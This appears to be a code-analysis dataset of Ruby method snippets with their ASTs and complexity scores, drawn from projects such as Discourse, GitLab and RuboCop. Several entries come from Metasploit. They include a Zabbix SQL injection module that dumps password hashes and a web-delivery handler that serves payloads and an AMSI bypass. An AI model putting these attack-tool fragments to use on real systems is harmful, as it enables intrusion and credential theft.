{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/zabbix_toggleids_sqli.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Zabbix toggle_ids SQL Injection',\n        'Description' => %q{\n          This module will exploit a SQL injection in Zabbix 3.0.3 and\n          likely prior in order to save the current usernames and\n          password hashes from the database to a JSON file.\n        },\n        'References' => [\n          ['CVE', '2016-10134'],\n          ['URL', 'https://seclists.org/fulldisclosure/2016/Aug/60']\n        ],\n        'Author' => [\n          '1n3@hushmail.com', # discovery\n          'bperry' # module\n        ],\n        'License' => MSF_LICENSE,\n        'DisclosureDate' => '2016-08-11',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]),\n        OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']),\n        OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']),\n        OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix'])\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Zabbix toggle_ids SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will exploit a SQL injection in Zabbix 3.0.3 and\\n\"]},{\"type\":\"str\",\"children\":[\"          likely prior in order to save the current usernames and\\n\"]},{\"type\":\"str\",\"children\":[\"          password hashes from the database to a JSON file.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-10134\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2016/Aug/60\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"1n3@hushmail.com\"]},{\"type\":\"str\",\"children\":[\"bperry\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-08-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"REQUIREAUTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enforce authentication\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"Admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"zabbix\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The relative URI for Zabbix\"]},{\"type\":\"str\",\"children\":[\"/zabbix\"]}]}]}]}]}]}]}","id":"5b71d920-5d6d-4247-87e4-d2791261c053"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":619,"raw_source":"def list_baked_fields(target, name)\n    theme_ids = Theme.transform_ids(id)\n    theme_ids = [theme_ids.first] if name != :color_definitions\n    self.class.list_baked_fields(theme_ids, target, name)\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"list_baked_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"theme_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"transform_ids\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"color_definitions\"]}]},{\"type\":\"lvasgn\",\"children\":[\"theme_ids\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_ids\"]},\"first\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"list_baked_fields\",{\"type\":\"lvar\",\"children\":[\"theme_ids\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"a1896b99-1e98-41f0-9fbd-dca9f858c251"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":97,"raw_source":"def test_process_and\n    sexp = s(:and, s(:lit, :a), s(:lit, :b))\n\n    assert_process sexp, 1.0, :branch => 1.0\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_process_and\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sexp\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"and\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_process\",{\"type\":\"lvar\",\"children\":[\"sexp\"]},{\"type\":\"float\",\"children\":[1.0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"float\",\"children\":[1.0]}]}]}]}]}]}","id":"2d5ecd88-faa4-42a7-8623-0c75e2a6cf57"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb","start_line":37,"raw_source":"def self.finalize(client,hkey)\n    proc do\n      deferred_close_proc = proc do\n        begin\n          self.close(client,hkey)\n        rescue => e\n          elog(\"finalize method for RegistryKey failed\", error: e)\n        end\n      end\n\n      # Schedule the finalizing logic out-of-band; as this logic might be called in the context of a Signal.trap, which can't synchronize mutexes\n      client.framework.sessions.schedule(deferred_close_proc)\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"finalize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"hkey\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deferred_close_proc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"close\",{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"hkey\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"finalize method for RegistryKey failed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]},\"sessions\"]},\"schedule\",{\"type\":\"lvar\",\"children\":[\"deferred_close_proc\"]}]}]}]}]}","id":"d7e19be4-57f2-4c2c-a84e-337ff56ddf19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/factory.rb","start_line":25,"raw_source":"def metadata(metadata)\n          @metadata.merge!(metadata.compact)\n          self\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"compact\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"550ee685-8fcc-4de2-9e6d-7c17af85f867"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/kramdown/parser/atlassian_document_format.rb","start_line":238,"raw_source":"def process_panel(element, ast_node)\n        panel_type = ast_node.dig('attrs', 'panelType')\n        return unless %w[info note warning success error].include?(panel_type)\n\n        panel_header_text = \"#{PANEL_EMOJIS[panel_type.to_sym]} \"\n        panel_header_element = Element.new(:text, panel_header_text)\n\n        new_element = Element.new(:blockquote)\n        new_element.children << panel_header_element\n        element.children << new_element\n\n        process_content(new_element, ast_node, PANEL_NODES)\n      end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_panel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"ast_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"panel_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast_node\"]},\"dig\",{\"type\":\"str\",\"children\":[\"attrs\"]},{\"type\":\"str\",\"children\":[\"panelType\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"str\",\"children\":[\"note\"]},{\"type\":\"str\",\"children\":[\"warning\"]},{\"type\":\"str\",\"children\":[\"success\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"panel_type\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"panel_header_text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PANEL_EMOJIS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"panel_type\"]},\"to_sym\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"panel_header_element\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Element\"]},\"new\",{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"panel_header_text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_element\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Element\"]},\"new\",{\"type\":\"sym\",\"children\":[\"blockquote\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_element\"]},\"children\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"panel_header_element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"children\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"new_element\"]}]},{\"type\":\"send\",\"children\":[null,\"process_content\",{\"type\":\"lvar\",\"children\":[\"new_element\"]},{\"type\":\"lvar\",\"children\":[\"ast_node\"]},{\"type\":\"const\",\"children\":[null,\"PANEL_NODES\"]}]}]}]}","id":"5e35f293-2912-4882-8ad7-bad9d1964868"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/articles/destroyer.rb","start_line":5,"raw_source":"def call(article)\n      # comments will automatically lose the connection to their article once `.destroy` is called,\n      # due to the `dependent: nullify` clause, so to remove their notifications,\n      # we need to cache the ids in advance\n      article_comments_ids = article.comments.ids\n\n      article.destroy!\n\n      Notification.remove_all(notifiable_ids: article.id, notifiable_type: \"Article\")\n\n      return if article_comments_ids.blank?\n\n      Notification.remove_all(notifiable_ids: article_comments_ids, notifiable_type: \"Comment\")\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"article_comments_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"comments\"]},\"ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"remove_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_type\"]},{\"type\":\"str\",\"children\":[\"Article\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article_comments_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"remove_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_ids\"]},{\"type\":\"lvar\",\"children\":[\"article_comments_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_type\"]},{\"type\":\"str\",\"children\":[\"Comment\"]}]}]}]}]}]}","id":"a3f85831-49b8-48b0-a406-ec8b245465dc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_shorthand_syntax.rb","start_line":15,"raw_source":"def selector\n          if node.loc.respond_to?(:selector)\n            node.loc.selector\n          else\n            node.loc.keyword\n          end\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"selector\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"loc\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"selector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"loc\"]},\"selector\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]},\"loc\"]},\"keyword\"]}]}]}","id":"7648591d-07b7-4e7f-81e1-ca7347abb50e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/script/web_delivery.rb","start_line":207,"raw_source":"def on_request_uri(cli, request)\n    if request.raw_uri.to_s.ends_with?('.sct')\n      print_status('Handling .sct Request')\n      psh = gen_psh(get_uri.to_s, 'string')\n\n      case target.name\n      when 'pubprn'\n        data = gen_pubprn_sct_file(psh)\n      when 'Regsvr32'\n        data = gen_sct_file(psh)\n      else\n        print_error('Unexpected request for .sct file')\n      end\n\n      send_response(cli, data, 'Content-Type' => 'text/plain')\n      return\n    end\n\n    if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)\n      data = bypass_powershell_protections\n      print_status(\"Delivering AMSI Bypass (#{data.length} bytes)\")\n      send_response(cli, data, 'Content-Type' => 'text/plain')\n      return\n    end\n\n    case target.name\n    when 'Linux', 'Mac OS X', 'PSH (Binary)'\n      data = generate_payload_exe\n    when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'\n      data = cmd_psh_payload(\n        payload.encoded,\n        payload_instance.arch.first\n      )\n    else\n      data = payload.encoded.to_s\n    end\n\n    print_status(\"Delivering Payload (#{data.length} bytes)\")\n    send_response(cli, data, 'Content-Type' => 'application/octet-stream')\n  end","complexity_score":63.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"raw_uri\"]},\"to_s\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\".sct\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Handling .sct Request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"psh\",{\"type\":\"send\",\"children\":[null,\"gen_psh\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uri\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"string\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"pubprn\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"gen_pubprn_sct_file\",{\"type\":\"lvar\",\"children\":[\"psh\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Regsvr32\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"gen_sct_file\",{\"type\":\"lvar\",\"children\":[\"psh\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unexpected request for .sct file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"raw_uri\"]},\"to_s\"]},\"ends_with?\",{\"type\":\"send\",\"children\":[null,\"amsi_bypass_uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"bypass_powershell_protections\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Delivering AMSI Bypass (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"str\",\"children\":[\"Mac OS X\"]},{\"type\":\"str\",\"children\":[\"PSH (Binary)\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"PSH\"]},{\"type\":\"str\",\"children\":[\"Regsvr32\"]},{\"type\":\"str\",\"children\":[\"pubprn\"]},{\"type\":\"str\",\"children\":[\"SyncAppvPublishingServer\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"cmd_psh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"arch\"]},\"first\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Delivering Payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]}]}]}","id":"fa594be2-84a2-4cc9-8925-989ad6c8decc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb","start_line":81,"raw_source":"def commands\n    all = {\n      'ipconfig' => 'Display interfaces',\n      'ifconfig' => 'Display interfaces',\n      'route'    => 'View and modify the routing table',\n      'portfwd'  => 'Forward a local port to a remote service',\n      'arp'      => 'Display the host ARP cache',\n      'netstat'  => 'Display the network connections',\n      'getproxy' => 'Display the current proxy configuration',\n      'resolve'  => 'Resolve a set of host names on the target',\n    }\n\n    reqs = {\n      'ipconfig' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES],\n      'ifconfig' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES],\n      'route'    => [\n        # Also uses these, but we don't want to be unable to list them\n        # just because we can't alter them.\n        #COMMAND_ID_STDAPI_NET_CONFIG_ADD_ROUTE,\n        #COMMAND_ID_STDAPI_NET_CONFIG_REMOVE_ROUTE,\n        COMMAND_ID_STDAPI_NET_CONFIG_GET_ROUTES\n      ],\n      # Only creates tcp channels, which is something whose availability\n      # we can't check directly at the moment.\n      'portfwd'  => [],\n      'arp'      => [COMMAND_ID_STDAPI_NET_CONFIG_GET_ARP_TABLE],\n      'netstat'  => [COMMAND_ID_STDAPI_NET_CONFIG_GET_NETSTAT],\n      'getproxy' => [COMMAND_ID_STDAPI_NET_CONFIG_GET_PROXY],\n      'resolve'  => [COMMAND_ID_STDAPI_NET_RESOLVE_HOST],\n    }\n\n    filter_commands(all, reqs)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ipconfig\"]},{\"type\":\"str\",\"children\":[\"Display interfaces\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ifconfig\"]},{\"type\":\"str\",\"children\":[\"Display interfaces\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"route\"]},{\"type\":\"str\",\"children\":[\"View and modify the routing table\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"portfwd\"]},{\"type\":\"str\",\"children\":[\"Forward a local port to a remote service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arp\"]},{\"type\":\"str\",\"children\":[\"Display the host ARP cache\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"netstat\"]},{\"type\":\"str\",\"children\":[\"Display the network connections\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"getproxy\"]},{\"type\":\"str\",\"children\":[\"Display the current proxy configuration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"resolve\"]},{\"type\":\"str\",\"children\":[\"Resolve a set of host names on the target\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reqs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ipconfig\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ifconfig\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"route\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_CONFIG_GET_ROUTES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"portfwd\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arp\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_CONFIG_GET_ARP_TABLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"netstat\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_CONFIG_GET_NETSTAT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"getproxy\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_CONFIG_GET_PROXY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"resolve\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_NET_RESOLVE_HOST\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_commands\",{\"type\":\"lvar\",\"children\":[\"all\"]},{\"type\":\"lvar\",\"children\":[\"reqs\"]}]}]}]}","id":"3340b84e-15a6-4f43-9906-a968e2db5232"}
